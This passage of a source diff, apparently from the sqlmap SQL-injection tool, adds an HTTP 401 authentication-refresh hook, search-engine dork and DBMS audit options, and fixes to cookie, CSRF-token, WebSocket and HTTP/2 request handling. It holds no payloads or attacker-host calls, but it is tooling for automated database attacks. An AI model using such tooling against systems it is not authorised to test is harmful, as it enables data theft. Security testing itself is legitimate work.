target.add_argument("-g", dest="googleDork",
|
||||
help="Process Google dork results as target URLs")
|
||||
target.add_argument("-g", "--dork", dest="googleDork", metavar="DORK",
|
||||
help="Process search engine dork results as target URLs")
|
||||
|
||||
target.add_argument("-c", dest="configFile",
|
||||
help="Load options from a configuration INI file")
|
||||
|
|
@ -484,6 +484,9 @@ def cmdLineParser(argv=None):
|
|||
enumeration.add_argument("--hostname", dest="getHostname", action="store_true",
|
||||
help="Retrieve DBMS server hostname")
|
||||
|
||||
enumeration.add_argument("--audit", dest="getAudit", action="store_true",
|
||||
help="Audit DBMS security configuration and capabilities")
|
||||
|
||||
enumeration.add_argument("--is-dba", dest="isDba", action="store_true",
|
||||
help="Detect if the DBMS current user is DBA")
|
||||
|
||||
|
|
@ -499,6 +502,9 @@ def cmdLineParser(argv=None):
|
|||
enumeration.add_argument("--roles", dest="getRoles", action="store_true",
|
||||
help="Enumerate DBMS users roles")
|
||||
|
||||
enumeration.add_argument("--links", dest="getLinks", action="store_true",
|
||||
help="Enumerate DBMS links")
|
||||
|
||||
enumeration.add_argument("--dbs", dest="getDbs", action="store_true",
|
||||
help="Enumerate DBMS databases")
|
||||
|
||||
|
|
@ -730,8 +736,8 @@ def cmdLineParser(argv=None):
|
|||
general.add_argument("--fresh-queries", dest="freshQueries", action="store_true",
|
||||
help="Ignore query results stored in session file")
|
||||
|
||||
general.add_argument("--gpage", dest="googlePage", type=int,
|
||||
help="Use Google dork results from specified page number")
|
||||
general.add_argument("--gpage", dest="googlePage", type=int, metavar="PAGE",
|
||||
help="Use dork results from specified page number")
|
||||
|
||||
general.add_argument("--har", dest="harFile",
|
||||
help="Log all HTTP traffic into a HAR file")
|
||||
|
|
@ -745,6 +751,9 @@ def cmdLineParser(argv=None):
|
|||
general.add_argument("--parse-errors", dest="parseErrors", action="store_true",
|
||||
help="Parse and display DBMS error messages from responses")
|
||||
|
||||
general.add_argument("--auth-refresh", dest="authRefresh",
|
||||
help="Run script to refresh auth on HTTP 401")
|
||||
|
||||
general.add_argument("--preprocess", dest="preprocess",
|
||||
help="Use given script(s) for preprocessing (request)")
|
||||
|
||||
|
|
|
|||
100
lib/request/authrefresh.py
Normal file
100
lib/request/authrefresh.py
Normal file
|
|
@ -0,0 +1,100 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
|
||||
from lib.core.common import openFile
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapGenericException
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
|
||||
def createTemplate():
|
||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.AUTH_REFRESH, suffix=".py")
|
||||
os.close(handle)
|
||||
|
||||
with openFile(filename, "w+") as f:
|
||||
f.write("#!/usr/bin/env\n\ndef refresh():\n # Obtain a fresh token here (use a timeout for login requests).\n # Custom headers also work, e.g. {'X-Auth-Token': token}.\n return {'Authorization': 'Bearer <fresh token>'}\n")
|
||||
with openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+") as f:
|
||||
f.write("pass")
|
||||
|
||||
return filename
|
||||
|
||||
|
||||
def sameOrigin(first, second):
|
||||
# checkSameHost deliberately ignores schemes and ports, which is unsuitable for credentials.
|
||||
def origin(url):
|
||||
parts = _urllib.parse.urlsplit(url)
|
||||
return parts.scheme.lower(), parts.hostname, parts.port or (443 if parts.scheme.lower() == "https" else 80)
|
||||
|
||||
return origin(first) == origin(second)
|
||||
|
||||
|
||||
def apply(req):
|
||||
"""Overlay refreshed headers after preprocess hooks; return the credential generation sent."""
|
||||
|
||||
if not conf.authRefresh or not sameOrigin(req.get_full_url(), conf.url):
|
||||
return None
|
||||
|
||||
with kb.locks.authRefresh:
|
||||
if kb.authRefreshFailed:
|
||||
raise SqlmapGenericException("authentication refresh failed; cannot continue with expired credentials")
|
||||
for name, value in kb.authRefreshHeaders.items():
|
||||
# Hooks/raw request files can leave differently-cased copies of the same header.
|
||||
for headers in (req.headers, req.unredirected_hdrs):
|
||||
for key in list(headers):
|
||||
if key.lower() == name.lower():
|
||||
del headers[key]
|
||||
req.add_header(name, value)
|
||||
return kb.authRefreshVersion
|
||||
|
||||
|
||||
def refresh(version):
|
||||
"""Refresh once for all workers that sent the same expired credentials."""
|
||||
|
||||
with kb.locks.authRefresh:
|
||||
if kb.authRefreshFailed:
|
||||
raise SqlmapConnectionException("authentication refresh failed; cannot continue with expired credentials")
|
||||
if version != kb.authRefreshVersion:
|
||||
return
|
||||
|
||||
logger.info("refreshing authentication after HTTP 401")
|
||||
try:
|
||||
headers = kb.authRefreshFunction()
|
||||
if not isinstance(headers, dict) or not headers:
|
||||
raise ValueError()
|
||||
for name, value in headers.items():
|
||||
if not isinstance(name, six.string_types) or not re.match(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z", name):
|
||||
raise ValueError()
|
||||
if not isinstance(value, six.string_types) or not value or re.search(r"[\x00-\x1f\x7f]", value):
|
||||
raise ValueError()
|
||||
value.encode("latin-1")
|
||||
if name.lower() in ("host", "content-length", "transfer-encoding", "connection", "proxy-authorization"):
|
||||
raise ValueError()
|
||||
if len(set(_.lower() for _ in headers)) != len(headers):
|
||||
raise ValueError()
|
||||
except Exception:
|
||||
kb.authRefreshFailed = True
|
||||
# Hook exceptions can contain tokens/passwords; do not include their text.
|
||||
raise SqlmapConnectionException("auth refresh hook failed or returned invalid headers. Expected a non-empty dictionary of authentication headers. You can find a template script at '%s'" % createTemplate())
|
||||
|
||||
kb.authRefreshHeaders = dict(headers)
|
||||
kb.authRefreshVersion += 1
|
||||
|
||||
|
||||
def stripHeaders(headers):
|
||||
"""Remove refreshed credentials before following a redirect to another origin."""
|
||||
|
||||
names = set(_.lower() for _ in kb.authRefreshHeaders)
|
||||
return dict((name, value) for name, value in headers.items() if name.lower() not in names)
|
||||
|
|
@ -121,7 +121,10 @@ def forgeHeaders(items=None, base=None):
|
|||
if cookie is None or cookie.domain_specified and not ((conf.hostname or "").endswith(cookie.domain) or (conf.hostname or "") == cookie.domain.lstrip('.')):
|
||||
continue
|
||||
|
||||
if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]):
|
||||
# Note: cookie name has to start right after a delimiter (e.g. server's 'id' must not match inside user's 'x-id=2')
|
||||
boundary = r"(?:\A|(?<=[%s\s]))" % re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)
|
||||
|
||||
if re.search(r"%s%s=" % (boundary, re.escape(getUnicode(cookie.name))), getUnicode(headers[HTTP_HEADER.COOKIE])):
|
||||
if conf.loadCookies:
|
||||
conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)
|
||||
elif kb.mergeCookies is None:
|
||||
|
|
@ -134,7 +137,7 @@ def forgeHeaders(items=None, base=None):
|
|||
|
||||
if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
|
||||
def _(value):
|
||||
return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value)
|
||||
return re.sub(r"(?i)%s%s=[^%s]+" % (boundary, re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value)
|
||||
|
||||
headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
|
||||
|
||||
|
|
|
|||
|
|
@ -22,6 +22,7 @@ import time
|
|||
import traceback
|
||||
|
||||
from lib.request import websocket
|
||||
from lib.request import authrefresh
|
||||
from lib.request.websocket import WebSocketException
|
||||
|
||||
from lib.core.agent import agent
|
||||
|
|
@ -366,7 +367,7 @@ class Connect(object):
|
|||
threadData = getCurrentThreadData()
|
||||
with kb.locks.request:
|
||||
kb.requestCounter += 1
|
||||
threadData.lastRequestUID = kb.requestCounter
|
||||
threadData.lastRequestUID = requestUID = kb.requestCounter
|
||||
|
||||
if conf.proxyFreq:
|
||||
if kb.requestCounter % conf.proxyFreq == 0:
|
||||
|
|
@ -424,8 +425,18 @@ class Connect(object):
|
|||
raise SqlmapValueException(errMsg)
|
||||
|
||||
with openFile(conf.liveCookies) as f:
|
||||
cookie = f.read().strip()
|
||||
cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie)
|
||||
live = re.sub(r"(?i)\ACookie:\s*", "", f.read().strip())
|
||||
|
||||
# Note: (live) values are taken, except for the cookie(s) currently carrying the payload (i.e. differing from the original value)
|
||||
delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
|
||||
original = conf.paramDict.get(PLACE.COOKIE) or {}
|
||||
for part in (cookie or "").split(delimiter):
|
||||
name, _, value = part.strip().partition('=')
|
||||
if name in original and value != original[name]:
|
||||
regex = r"(\A|(?<=[%s\s]))%s=[^%s]*" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
|
||||
live = re.sub(regex, lambda match: "%s=%s" % (name, value), live) if re.search(regex, live) else "%s%s %s=%s" % (live, delimiter, name, value)
|
||||
|
||||
cookie = live
|
||||
|
||||
if multipart:
|
||||
post = multipart
|
||||
|
|
@ -469,6 +480,8 @@ class Connect(object):
|
|||
responseHeaders = None
|
||||
logHeaders = u""
|
||||
skipLogTraffic = False
|
||||
authRetry = False
|
||||
authVersion = None
|
||||
|
||||
raise404 = raise404 and not kb.ignoreNotFound
|
||||
|
||||
|
|
@ -497,7 +510,7 @@ class Connect(object):
|
|||
get = conf.parameters[PLACE.GET]
|
||||
|
||||
if not conf.skipUrlEncode:
|
||||
get = urlencode(get, limit=True)
|
||||
get = urlencode(get, safe="%%&=-_%s" % (conf.paramDel or ""), limit=True)
|
||||
|
||||
if get:
|
||||
if '?' in url:
|
||||
|
|
@ -518,6 +531,8 @@ class Connect(object):
|
|||
|
||||
# Prepare HTTP headers
|
||||
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host or getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})
|
||||
# WebSocket builds its own default Host, but must preserve explicit overrides.
|
||||
customWsHost = webSocket and bool(host or getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHeader(auxHeaders, HTTP_HEADER.HOST) is not None)
|
||||
|
||||
if HTTP_HEADER.COOKIE in headers:
|
||||
cookie = headers[HTTP_HEADER.COOKIE]
|
||||
|
|
@ -570,9 +585,13 @@ class Connect(object):
|
|||
if ':' in line:
|
||||
header, value = line.split(':', 1)
|
||||
headers[header] = value
|
||||
if webSocket and header.upper() == HTTP_HEADER.HOST.upper():
|
||||
headers[HTTP_HEADER.HOST] = value
|
||||
customWsHost = True
|
||||
|
||||
if conf.localhost:
|
||||
headers[HTTP_HEADER.HOST] = "localhost"
|
||||
customWsHost = True
|
||||
|
||||
for key, value in list(headers.items()):
|
||||
if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
|
||||
|
|
@ -597,7 +616,7 @@ class Connect(object):
|
|||
try:
|
||||
ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
|
||||
wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper())
|
||||
ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically
|
||||
ws.connect(url, header=wsHeaders, cookie=cookie, hostHeader=getHeader(headers, HTTP_HEADER.HOST) if customWsHost else None)
|
||||
ws.send(urldecode(post or ""))
|
||||
|
||||
_page = []
|
||||
|
|
@ -610,17 +629,17 @@ class Connect(object):
|
|||
warnMsg = "too large websocket response detected. Automatically trimming it"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
break
|
||||
except websocket.WebSocketTimeoutException:
|
||||
except (websocket.WebSocketTimeoutException, websocket.WebSocketNormalClosureException):
|
||||
kb.webSocketRecvCount = len(_page)
|
||||
break
|
||||
else:
|
||||
for i in xrange(max(1, kb.webSocketRecvCount)):
|
||||
# Note: a later response may carry fewer frames than the calibration one
|
||||
# (e.g. a FALSE boolean-blind reply); stop on timeout instead of letting it
|
||||
# bubble up as a failed request, mirroring the initial recv loop above
|
||||
# (e.g. a FALSE boolean-blind reply); stop on timeout or normal closure,
|
||||
# mirroring the initial recv loop above
|
||||
try:
|
||||
_page.append(ws.recv())
|
||||
except websocket.WebSocketTimeoutException:
|
||||
except (websocket.WebSocketTimeoutException, websocket.WebSocketNormalClosureException):
|
||||
break
|
||||
|
||||
page = "\n".join(_page)
|
||||
|
|
@ -683,6 +702,9 @@ class Connect(object):
|
|||
else:
|
||||
post, headers = req.data, req.headers
|
||||
|
||||
authVersion = authrefresh.apply(req)
|
||||
headers = req.headers
|
||||
|
||||
requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])
|
||||
|
||||
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
||||
|
|
@ -724,18 +746,37 @@ class Connect(object):
|
|||
from lib.request.http2 import open_url as http2OpenUrl
|
||||
from lib.request.http2 import proxy_tuple
|
||||
|
||||
# Note: (preemptive) Basic authentication, as urllib's handlers are bypassed
|
||||
if (conf.authType or "").lower() == AUTH_TYPE.BASIC and conf.authUsername is not None and HTTP_HEADER.AUTHORIZATION not in headers:
|
||||
headers[HTTP_HEADER.AUTHORIZATION] = "Basic %s" % encodeBase64("%s:%s" % (conf.authUsername, conf.authPassword or ""), binary=False)
|
||||
|
||||
try:
|
||||
h2proxy = proxy_tuple(conf.proxy, conf.proxyCred)
|
||||
except ValueError:
|
||||
raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
|
||||
|
||||
# Note: cookie jar handling (i.e. Set-Cookie), as urllib's HTTPCookieProcessor is bypassed
|
||||
if conf.cj is not None and HTTP_HEADER.COOKIE not in headers:
|
||||
try:
|
||||
conf.cj.add_cookie_header(req)
|
||||
if req.get_header(HTTP_HEADER.COOKIE):
|
||||
headers[HTTP_HEADER.COOKIE] = req.get_header(HTTP_HEADER.COOKIE)
|
||||
except Exception as ex:
|
||||
logger.debug("problem occurred while adding HTTP/2 cookies ('%s')" % getSafeExString(ex))
|
||||
|
||||
try:
|
||||
conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy)
|
||||
conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO and not conf.ignoreRedirects, proxy=h2proxy, sensitive_headers=tuple(kb.authRefreshHeaders) if conf.authRefresh else ())
|
||||
except IOError as ex:
|
||||
raise _http_client.HTTPException(getSafeExString(ex))
|
||||
else:
|
||||
if conf.cj is not None:
|
||||
try:
|
||||
conf.cj.extract_cookies(conn, req)
|
||||
except Exception as ex:
|
||||
logger.debug("problem occurred while storing HTTP/2 cookies ('%s')" % getSafeExString(ex))
|
||||
|
||||
if conn.code >= 400:
|
||||
raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read()))
|
||||
raise _urllib.error.HTTPError(conn.geturl(), conn.code, conn.msg, conn.info(), io.BytesIO(conn.read()))
|
||||
|
||||
requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1)
|
||||
|
||||
|
|
@ -863,7 +904,7 @@ class Connect(object):
|
|||
page = None
|
||||
responseHeaders = None
|
||||
|
||||
if checking:
|
||||
if checking and not (ex.code == _http_client.UNAUTHORIZED and authVersion is not None):
|
||||
return None, None, None
|
||||
|
||||
try:
|
||||
|
|
@ -887,7 +928,8 @@ class Connect(object):
|
|||
code = ex.code
|
||||
status = getUnicode(getattr(ex, "reason", None) or getSafeExString(ex).split(": ", 1)[-1])
|
||||
|
||||
kb.originalCode = kb.originalCode or code
|
||||
if not (code == _http_client.UNAUTHORIZED and authVersion is not None):
|
||||
kb.originalCode = kb.originalCode or code
|
||||
threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
|
||||
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
|
||||
|
||||
|
|
@ -913,7 +955,15 @@ class Connect(object):
|
|||
singleTimeLogMessage(errMsg, logging.CRITICAL)
|
||||
raise SystemExit
|
||||
|
||||
if ex.code not in (conf.ignoreCode or []):
|
||||
if ex.code == _http_client.UNAUTHORIZED and authVersion is not None and authrefresh.sameOrigin(ex.geturl(), url):
|
||||
if kwargs.get("authRetried"):
|
||||
with kb.locks.authRefresh:
|
||||
if authVersion == kb.authRefreshVersion:
|
||||
kb.authRefreshFailed = True
|
||||
raise SqlmapConnectionException("authentication refresh did not authorize the retried request (401)")
|
||||
authrefresh.refresh(authVersion)
|
||||
authRetry = True
|
||||
elif ex.code not in (conf.ignoreCode or []):
|
||||
if ex.code == TOO_MANY_REQUESTS_HTTP_CODE or (ex.code == _http_client.SERVICE_UNAVAILABLE and Connect._parseRetryAfter(responseHeaders) is not None):
|
||||
retried = Connect._rateLimitRetry(responseHeaders, ex.code, **kwargs)
|
||||
if retried is not None:
|
||||
|
|
@ -1094,11 +1144,19 @@ class Connect(object):
|
|||
if kb.postHint == POST_HINT.GRPC_WEB:
|
||||
page = grpcDecodeResponse(page, responseHeaders)
|
||||
|
||||
threadData.lastPage = page
|
||||
threadData.lastCode = code
|
||||
# Note: in case of a (nested) retried request, its (last) response is the relevant one
|
||||
if threadData.lastRequestUID == requestUID:
|
||||
threadData.lastPage = page
|
||||
threadData.lastCode = code
|
||||
|
||||
socket.setdefaulttimeout(conf.timeout)
|
||||
|
||||
if authRetry:
|
||||
# Authentication latency is not evidence of a time-based SQL injection.
|
||||
threadData.authRefreshTime += calculateDeltaSeconds(start)
|
||||
kwargs["authRetried"] = True
|
||||
return Connect.getPage(**kwargs)
|
||||
|
||||
# Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
|
||||
if not sys.version.startswith("3.11."):
|
||||
if conf.retryOn and re.search(conf.retryOn, page or "", re.I):
|
||||
|
|
@ -1218,8 +1276,9 @@ class Connect(object):
|
|||
delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
|
||||
|
||||
if not disableTampering and kb.tamperFunctions:
|
||||
hints = {} # Note: shared among all tamper functions (e.g. 'luanginx,space2comment' must keep the former's HINT.PREPEND)
|
||||
|
||||
for function in kb.tamperFunctions:
|
||||
hints = {}
|
||||
|
||||
try:
|
||||
payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
|
||||
|
|
@ -1277,7 +1336,7 @@ class Connect(object):
|
|||
|
||||
if not skip:
|
||||
if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path)
|
||||
value = urlencode(value, spaceplus=kb.postSpaceToPlus)
|
||||
value = urlencode(value, safe="%%&=-_%s" % (conf.paramDel or ""), spaceplus=kb.postSpaceToPlus)
|
||||
payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
|
||||
value = agent.replacePayload(value, payload)
|
||||
postUrlEncode = False
|
||||
|
|
@ -1384,7 +1443,7 @@ class Connect(object):
|
|||
logger.warning(warnMsg)
|
||||
|
||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, post=conf.csrfData or (conf.data if conf.csrfUrl == conf.url and (conf.csrfMethod or "").upper() == HTTPMETHOD.POST else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
|
||||
page = urldecode(page, spaceplus=False) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') - Note: '+' is a legitimate (e.g. Base64) token value character
|
||||
|
||||
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
|
||||
|
||||
|
|
@ -1392,10 +1451,10 @@ class Connect(object):
|
|||
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
|
||||
|
||||
if not match:
|
||||
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
|
||||
match = re.search(r"(?P<name>%s)[\"']\s*:\s*[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
|
||||
|
||||
if not match:
|
||||
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, getUnicode(headers), re.I)
|
||||
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>[^\s;,]+)" % conf.csrfToken, getUnicode(headers), re.I)
|
||||
|
||||
if not match:
|
||||
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
||||
|
|
@ -1439,14 +1498,17 @@ class Connect(object):
|
|||
if token:
|
||||
token.value = token.value.strip("'\"")
|
||||
|
||||
# Note: (decoded) token value has to be URL encoded for (URL encoded) places (e.g. Base64 token 'ab+cd/ef==' -> 'ab%2Bcd%2Fef%3D%3D')
|
||||
encoded = urlencode(token.value, convall=True)
|
||||
|
||||
for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI):
|
||||
if candidate in conf.parameters:
|
||||
if candidate == PLACE.URI and uri:
|
||||
uri = _adjustParameter(uri, token.name, token.value)
|
||||
uri = _adjustParameter(uri, token.name, encoded)
|
||||
elif candidate == PLACE.GET and get:
|
||||
get = _adjustParameter(get, token.name, token.value)
|
||||
get = _adjustParameter(get, token.name, encoded)
|
||||
elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post:
|
||||
post = _adjustParameter(post, token.name, token.value)
|
||||
post = _adjustParameter(post, token.name, encoded if candidate == PLACE.POST else token.value)
|
||||
|
||||
for i in xrange(len(conf.httpHeaders)):
|
||||
if conf.httpHeaders[i][0].lower() == token.name.lower():
|
||||
|
|
@ -1614,7 +1676,7 @@ class Connect(object):
|
|||
found = True
|
||||
post = re.sub(regex, r"\g<1>\g<2>%s" % entry.replace('\\', r'\\'), post)
|
||||
|
||||
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
|
||||
regex = r"((\A|%s)%s=).*?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
|
||||
if not found and re.search(regex, (post or "")):
|
||||
found = True
|
||||
post = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post)
|
||||
|
|
@ -1627,7 +1689,7 @@ class Connect(object):
|
|||
found = True
|
||||
uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), uri)
|
||||
|
||||
regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
|
||||
regex = r"((\A|%s\s*)%s=).*?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
|
||||
if re.search(regex, (cookie or "")):
|
||||
found = True
|
||||
cookie = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), cookie)
|
||||
|
|
@ -1638,7 +1700,7 @@ class Connect(object):
|
|||
match = re.search(r"['\"]", post)
|
||||
if match:
|
||||
quote = match.group(0)
|
||||
post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry, quote))), post)
|
||||
post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry.replace('\\', r'\\'), quote))), post)
|
||||
else:
|
||||
post += "%s%s=%s" % (delimiter, name, entry)
|
||||
elif get is not None:
|
||||
|
|
@ -1647,7 +1709,7 @@ class Connect(object):
|
|||
cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, entry)
|
||||
|
||||
if not conf.skipUrlEncode:
|
||||
get = urlencode(get, limit=True)
|
||||
get = urlencode(get, safe="%%&=-_%s" % (conf.paramDel or ""), limit=True)
|
||||
|
||||
if post is not None:
|
||||
if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE):
|
||||
|
|
@ -1662,10 +1724,11 @@ class Connect(object):
|
|||
if (conf.safeFreq or 0) > 0 and not buildOnly:
|
||||
kb.queryCounter += 1
|
||||
if kb.queryCounter % conf.safeFreq == 0:
|
||||
# Note: "safe" visit must not carry the payload (e.g. in case of Cookie injection)
|
||||
if conf.safeUrl:
|
||||
Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host)
|
||||
Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=conf.parameters.get(PLACE.COOKIE) if place == PLACE.COOKIE else cookie, direct=True, silent=True, ua=ua, referer=referer, host=host)
|
||||
elif kb.safeReq:
|
||||
Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers)
|
||||
Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers, direct=True)
|
||||
|
||||
# When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector
|
||||
# is in place before any payload is built), a boolean comparison is answered by relative HTTP/2
|
||||
|
|
@ -1751,6 +1814,8 @@ class Connect(object):
|
|||
|
||||
start = time.time()
|
||||
|
||||
authRefreshTime = threadData.authRefreshTime
|
||||
|
||||
if kb.nullConnection and not content and not response and not timeBasedCompare:
|
||||
noteResponseTime = False
|
||||
|
||||
|
|
@ -1806,7 +1871,7 @@ class Connect(object):
|
|||
return value
|
||||
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||
|
||||
threadData.lastQueryDuration = calculateDeltaSeconds(start)
|
||||
threadData.lastQueryDuration = max(0, calculateDeltaSeconds(start) - (threadData.authRefreshTime - authRefreshTime))
|
||||
|
||||
kb.originalCode = code if kb.originalCode is None else kb.originalCode
|
||||
kb.originalPage = page if kb.originalPage is None else kb.originalPage
|
||||
|
|
|
|||
|
|
@ -1496,6 +1496,7 @@ class H2Response(object):
|
|||
if not name.startswith(":"):
|
||||
self._info[name] = value
|
||||
self._info.headers = ["%s: %s\r\n" % item for item in self._info.items()]
|
||||
self._info.getheaders = lambda name: self._info.get_all(name) or [] # Note: Python 2 cookielib's interface (e.g. for Set-Cookie)
|
||||
|
||||
def info(self):
|
||||
return self._info
|
||||
|
|
@ -1576,7 +1577,7 @@ def proxy_tuple(proxy, cred=None):
|
|||
|
||||
|
||||
def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True,
|
||||
max_redirects=10, proxy=None, verify=False, ssl_context=None):
|
||||
max_redirects=10, proxy=None, verify=False, ssl_context=None, sensitive_headers=()):
|
||||
req_headers = headers or {}
|
||||
current_method = method
|
||||
current_body = body
|
||||
|
|
@ -1614,7 +1615,7 @@ def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redi
|
|||
old_parts = parts
|
||||
new_parts = urlsplit(new_url)
|
||||
if _origin_tuple(old_parts) != _origin_tuple(new_parts):
|
||||
req_headers = _headers_without(req_headers, _SENSITIVE_REDIRECT_FIELDS)
|
||||
req_headers = _headers_without(req_headers, _SENSITIVE_REDIRECT_FIELDS.union(_as_bytes(_).lower() for _ in sensitive_headers))
|
||||
|
||||
method_bytes = _as_bytes(current_method)
|
||||
change_to_get = status == 303 and method_bytes != b"HEAD"
|
||||
|
|
|
|||
|
|
@ -28,6 +28,8 @@ except ImportError:
|
|||
pass
|
||||
|
||||
